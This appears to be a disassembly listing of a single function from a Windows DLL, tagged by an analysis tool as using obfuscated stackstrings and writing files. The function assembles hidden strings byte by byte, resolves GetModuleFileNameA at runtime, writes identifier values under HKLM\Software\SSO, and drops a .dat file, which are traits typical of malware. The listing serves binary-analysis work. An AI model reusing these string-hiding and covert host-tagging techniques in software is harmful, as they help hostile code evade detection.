Function at 0x10009140
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x610
mov eax, dword [0x1010901c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, dword [ebp + 0x14]
mov dword [0x10111a10], eax
mov ecx, dword [ebp + 0x10]
mov dword [0x10111a1c], ecx
mov edx, dword [ebp + 0xc]
mov dword [0x10111a14], edx
push 0x400
push 0
lea eax, [ebp - 0x560]
push eax
call fcn.1004d430
add esp, 0xc
lea ecx, [ebp - 0x560]
push ecx
call fcn.10005700
add esp, 4
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x5b4], 0x65
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0x5b4], 0x79
mov edx, 1
imul eax, edx, 3
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 4
jae 0x100091cc
jmp 0x100091d1
call fcn.100494f1
mov ecx, dword [ebp - 0x5f8]
mov byte [ebp + ecx - 0x5b4], 0
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x5b4], 0x73
lea eax, [ebp - 0x5b4]
push eax
lea ecx, [ebp - 0x560]
push ecx
call fcn.10061b60
add esp, 8
test eax, eax
jne 0x10009214
mov dword [ebp - 0x5f4], 1
jmp 0x1000921e
mov dword [ebp - 0x5f4], 0
mov dl, byte [ebp - 0x5f4]
mov byte [ebp - 0x592], dl
lea ecx, [ebp - 0x5a0]
call fcn.10013710
push 0x400
lea ecx, [ebp - 0x5a0]
call fcn.10014030
push eax
call fcn.10005700
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x5a0]
call fcn.10013f60
lea ecx, [ebp - 0x59c]
call fcn.10013710
push 0x400
lea ecx, [ebp - 0x59c]
call fcn.10014030
push eax
call fcn.10005700
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x59c]
call fcn.10013f60
lea ecx, [ebp - 0x5ac]
call fcn.10013710
push 0x400
lea ecx, [ebp - 0x5ac]
call fcn.10014030
push eax
call fcn.10005700
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x5ac]
call fcn.10013f60
lea ecx, [ebp - 0x5a8]
call fcn.10013710
push 0x400
lea ecx, [ebp - 0x5a8]
call fcn.10014030
push eax
call fcn.10005700
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x5a8]
call fcn.10013f60
lea ecx, [ebp - 0x5a4]
call fcn.10013710
push 0x400
lea ecx, [ebp - 0x5a4]
call fcn.10014030
push eax
call fcn.10005700
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x5a4]
call fcn.10013f60
mov dword [ebp - 0x5e0], 0
mov eax, 1
imul ecx, eax, 5
mov byte [ebp + ecx - 0x34], 0x6c
mov edx, 1
imul eax, edx, 0xa
mov byte [ebp + eax - 0x34], 0x6c
mov ecx, 1
imul edx, ecx, 6
mov byte [ebp + edx - 0x34], 0x33
mov eax, 1
shl eax, 2
mov byte [ebp + eax - 0x34], 0x65
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x34], 0x72
mov edx, 1
imul eax, edx, 0xc
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0xd
jae 0x10009382
jmp 0x10009387
call fcn.100494f1
mov ecx, dword [ebp - 0x5f0]
mov byte [ebp + ecx - 0x34], 0
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x34], 0x4b
mov ecx, 1
imul edx, ecx, 3
mov byte [ebp + edx - 0x34], 0x6e
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x34], 0x32
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x34], 0x2e
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x34], 0x65
mov ecx, 1
imul edx, ecx, 9
mov byte [ebp + edx - 0x34], 0x64
mov eax, 1
imul ecx, eax, 0xb
mov byte [ebp + ecx - 0x34], 0x6c
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0
je 0x10009c0e
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x5c], 0x6c
mov edx, 1
shl edx, 4
mov byte [ebp + edx - 0x5c], 0x65
mov eax, 1
imul ecx, eax, 6
mov byte [ebp + ecx - 0x5c], 0x75
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x5c], 0x74
mov eax, 1
imul ecx, eax, 0xb
mov byte [ebp + ecx - 0x5c], 0x6c
mov edx, 1
imul eax, edx, 0xc
mov byte [ebp + eax - 0x5c], 0x65
mov ecx, 1
imul edx, ecx, 0xa
mov byte [ebp + edx - 0x5c], 0x69
mov eax, 1
imul ecx, eax, 0xd
mov byte [ebp + ecx - 0x5c], 0x4e
mov edx, 1
imul eax, edx, 0x11
mov byte [ebp + eax - 0x5c], 0x41
mov ecx, 1
shl ecx, 3
mov byte [ebp + ecx - 0x5c], 0x65
mov edx, 1
imul eax, edx, 0x12
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0x13
jae 0x100094a4
jmp 0x100094a9
call fcn.100494f1
mov ecx, dword [ebp - 0x5e8]
mov byte [ebp + ecx - 0x5c], 0
mov edx, 1
imul eax, edx, 3
mov byte [ebp + eax - 0x5c], 0x4d
mov ecx, 1
imul edx, ecx, 5
mov byte [ebp + edx - 0x5c], 0x64
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x5c], 0x65
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x5c], 0x6f
mov edx, 1
imul eax, edx, 0xe
mov byte [ebp + eax - 0x5c], 0x61
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x5c], 0x47
mov eax, 1
imul ecx, eax, 0xf
mov byte [ebp + ecx - 0x5c], 0x6d
mov edx, 1
imul eax, edx, 9
mov byte [ebp + eax - 0x5c], 0x46
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x5e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x5e0], eax
push 0x104
push 0
lea eax, [ebp - 0x160]
push eax
call fcn.1004d430
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x160]
push ecx
push 0
call dword [ebp - 0x5e0]
lea edx, [ebp - 0x160]
push edx
call fcn.10007e70
add esp, 4
mov byte [ebp - 0x591], al
movzx eax, byte [ebp - 0x592]
test eax, eax
jne 0x10009594
movzx ecx, byte [ebp - 0x591]
test ecx, ecx
je 0x10009594
mov dword [ebp - 0x5dc], 0
jmp 0x1000959e
mov dword [ebp - 0x5dc], 1
mov dl, byte [ebp - 0x5dc]
mov byte [ebp - 0x593], dl
lea ecx, [ebp - 0x5a0]
call fcn.10004070
push eax
lea eax, [ebp - 0x578]
push eax
call fcn.10008750
add esp, 8
movzx ecx, byte [ebp - 0x593]
test ecx, ecx
jne 0x100095e3
lea ecx, [ebp - 0x578]
call fcn.10014240
test eax, eax
jne 0x100096f6
lea ecx, [ebp - 0x5bc]
call fcn.10013710
mov edx, 1
imul eax, edx, 5
mov byte [ebp + eax - 0x24], 0x73
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x24], 0x25
mov eax, 1
shl eax, 2
mov byte [ebp + eax - 0x24], 0x25
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x24], 0x25
mov edx, 1
imul eax, edx, 6
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 7
jae 0x1000963a
jmp 0x1000963f
call fcn.100494f1
mov ecx, dword [ebp - 0x5d8]
mov byte [ebp + ecx - 0x24], 0
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x24], 0x73
mov eax, 1
imul ecx, eax, 3
mov byte [ebp + ecx - 0x24], 0x73
mov edx, dword [ebp - 0x5a0]
push edx
push str.4d27ebafa0d1418f9ae43226715a26e4
push 0x10
push 0
lea eax, [ebp - 0x5fc]
push eax
lea ecx, [ebp - 0x59c]
call fcn.10013900
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x5bc]
push eax
call fcn.100197e0
add esp, 0x14
lea ecx, [ebp - 0x5fc]
call fcn.100135d0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x608], esp
lea ecx, [ebp - 0x5bc]
call fcn.10004070
push eax
mov ecx, esi
call fcn.10014600
lea ecx, [ebp - 0x590]
push ecx
call fcn.1001c9e0
add esp, 0x1c
push eax
lea ecx, [ebp - 0x578]
call fcn.100144a0
lea ecx, [ebp - 0x590]
call fcn.10014480
lea ecx, [ebp - 0x5bc]
call fcn.100135d0
mov edx, 1
imul eax, edx, 0xa
mov byte [ebp + eax - 0x14], 0x53
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x14], 0x77
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x14], 0x5c
mov eax, 1
imul ecx, eax, 0xc
mov dword [ebp - 0x5ec], ecx
cmp dword [ebp - 0x5ec], 0xd
jae 0x10009736
jmp 0x1000973b
call fcn.100494f1
mov edx, dword [ebp - 0x5ec]
mov byte [ebp + edx - 0x14], 0
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x14], 0x65
mov edx, 1
imul eax, edx, 0xb
mov byte [ebp + eax - 0x14], 0x4f
mov ecx, 1
imul edx, ecx, 3
mov byte [ebp + edx - 0x14], 0x74
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0x14], 0x53
mov edx, 1
imul eax, edx, 6
mov byte [ebp + eax - 0x14], 0x72
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x14], 0x6f
mov edx, 1
imul eax, edx, 9
mov byte [ebp + eax - 0x14], 0x53
mov ecx, 1
imul edx, ecx, 5
mov byte [ebp + edx - 0x14], 0x61
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x14], 0x66
lea ecx, [ebp - 0x5c0]
push ecx
call fcn.10008e50
add esp, 4
lea ecx, [ebp - 0x578]
call fcn.10014240
push eax
lea ecx, [ebp - 0x578]
call fcn.10014260
push eax
push 1
lea ecx, [ebp - 0x5c0]
call fcn.10004070
push eax
lea edx, [ebp - 0x14]
push edx
push 0x80000002
call fcn.10020b60
add esp, 0x18
lea ecx, [ebp - 0x598]
call fcn.10013710
mov eax, 1
imul ecx, eax, 0x11
mov dword [ebp - 0x5c4], ecx
cmp dword [ebp - 0x5c4], 0x12
jae 0x10009824
jmp 0x10009829
call fcn.100494f1
mov edx, dword [ebp - 0x5c4]
mov byte [ebp + edx - 0x48], 0
mov eax, 1
imul ecx, eax, 5
mov byte [ebp + ecx - 0x48], 0x5f
mov edx, 1
imul eax, edx, 6
mov byte [ebp + eax - 0x48], 0x25
mov ecx, 1
imul edx, ecx, 0xd
mov byte [ebp + edx - 0x48], 0x64
mov eax, 1
imul ecx, eax, 0xa
mov byte [ebp + ecx - 0x48], 0x64
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x48], 0x5f
mov eax, 1
shl eax, 2
mov byte [ebp + eax - 0x48], 0x63
mov ecx, 1
imul edx, ecx, 0xf
mov byte [ebp + edx - 0x48], 0x25
mov eax, 1
imul ecx, eax, 0xb
mov byte [ebp + ecx - 0x48], 0x5f
mov edx, 1
imul eax, edx, 0xe
mov byte [ebp + eax - 0x48], 0x5f
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x48], 0x69
mov edx, 1
imul eax, edx, 0xc
mov byte [ebp + eax - 0x48], 0x25
mov ecx, 1
shl ecx, 4
mov byte [ebp + ecx - 0x48], 0x73
mov edx, 1
imul eax, edx, 3
mov byte [ebp + eax - 0x48], 0x6e
mov ecx, 1
imul edx, ecx, 9
mov byte [ebp + edx - 0x48], 0x25
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x48], 0x74
mov ecx, 1
imul edx, ecx, 7
mov byte [ebp + edx - 0x48], 0x64
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0x48], 0x69
lea ecx, [ebp - 0x578]
call fcn.10014260
push eax
lea ecx, [ebp - 0x578]
call fcn.10014240
push eax
movzx edx, byte [ebp - 0x591]
push edx
movzx eax, byte [ebp - 0x592]
push eax
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x598]
push edx
call fcn.100197e0
add esp, 0x18
push 0x2d
push 0x2b
lea ecx, [ebp - 0x598]
call fcn.10013d80
push 0x5f
push 0x2f
lea ecx, [ebp - 0x598]
call fcn.10013d80
push 0x20
push 0x3d
lea ecx, [ebp - 0x598]
call fcn.10013d80
lea ecx, [ebp - 0x598]
call fcn.100139e0
push ecx
mov ecx, esp
mov dword [ebp - 0x60c], esp
lea eax, [ebp - 0x598]
push eax
call fcn.10013f40
push ecx
mov ecx, esp
mov dword [ebp - 0x610], esp
lea edx, [ebp - 0x5a0]
push edx
call fcn.10013f40
call fcn.100083c0
add esp, 8
mov eax, 1
imul ecx, eax, 3
mov byte [ebp + ecx - 0x1c], 0x74
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x1c], 0x64
mov eax, 1
shl eax, 2
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 5
jae 0x100099e8
jmp 0x100099ed
call fcn.100494f1
mov ecx, dword [ebp - 0x5c8]
mov byte [ebp + ecx - 0x1c], 0
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x1c], 0x2e
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x1c], 0x61
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x600]
push ecx
call fcn.10013810
add esp, 0xc
push eax
lea ecx, [ebp - 0x5a4]
call fcn.10013e60
lea ecx, [ebp - 0x600]
call fcn.100135d0
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x5a4]
call fcn.10004070
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x5cc], eax
mov dword [ebp - 0x604], 0
push 0
lea edx, [ebp - 0x604]
push edx
lea ecx, [ebp - 0x578]
call fcn.10014240
push eax
lea ecx, [ebp - 0x578]
call fcn.10014260
push eax
mov eax, dword [ebp - 0x5cc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x5cc]
push ecx
call fcn.10020c90
add esp, 4
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x5b8], 0x64
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0x5b8], 0x67
mov edx, 1
imul eax, edx, 3
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 4
jae 0x10009aeb
jmp 0x10009af0
call fcn.100494f1
mov ecx, dword [ebp - 0x5d0]
mov byte [ebp + ecx - 0x5b8], 0
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x5b8], 0x69
lea ecx, [ebp - 0x59c]
call fcn.10013fe0
push eax
lea ecx, [ebp - 0x59c]
call fcn.10004070
push eax
push 1
lea eax, [ebp - 0x5b8]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x80000002
call fcn.10020b60
add esp, 0x18
mov edx, 1
shl edx, 1
mov dword [ebp - 0x5d4], edx
cmp dword [ebp - 0x5d4], 3
jae 0x10009b58
jmp 0x10009b5d
call fcn.100494f1
mov eax, dword [ebp - 0x5d4]
mov byte [ebp + eax - 0x5b0], 0
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x5b0], 0x69
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x5b0], 0x63
lea ecx, [ebp - 0x5ac]
call fcn.10013fe0
push eax
lea ecx, [ebp - 0x5ac]
call fcn.10004070
push eax
push 1
lea ecx, [ebp - 0x5b0]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x80000002
call fcn.10020b60
add esp, 0x18
lea ecx, [ebp - 0x5a8]
call fcn.10013fe0
push eax
lea ecx, [ebp - 0x5a8]
call fcn.10004070
push eax
push 1
push 0x100fd314
lea eax, [ebp - 0x14]
push eax
push 0x80000002
call fcn.10020b60
add esp, 0x18
lea ecx, [ebp - 0x598]
call fcn.100135d0
lea ecx, [ebp - 0x5c0]
call fcn.100135d0
lea ecx, [ebp - 0x578]
call fcn.10014480
lea ecx, [ebp - 0x5a4]
call fcn.100135d0
lea ecx, [ebp - 0x5a8]
call fcn.100135d0
lea ecx, [ebp - 0x5ac]
call fcn.100135d0
lea ecx, [ebp - 0x59c]
call fcn.100135d0
lea ecx, [ebp - 0x5a0]
call fcn.100135d0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10049199
mov esp, ebp
pop ebp
ret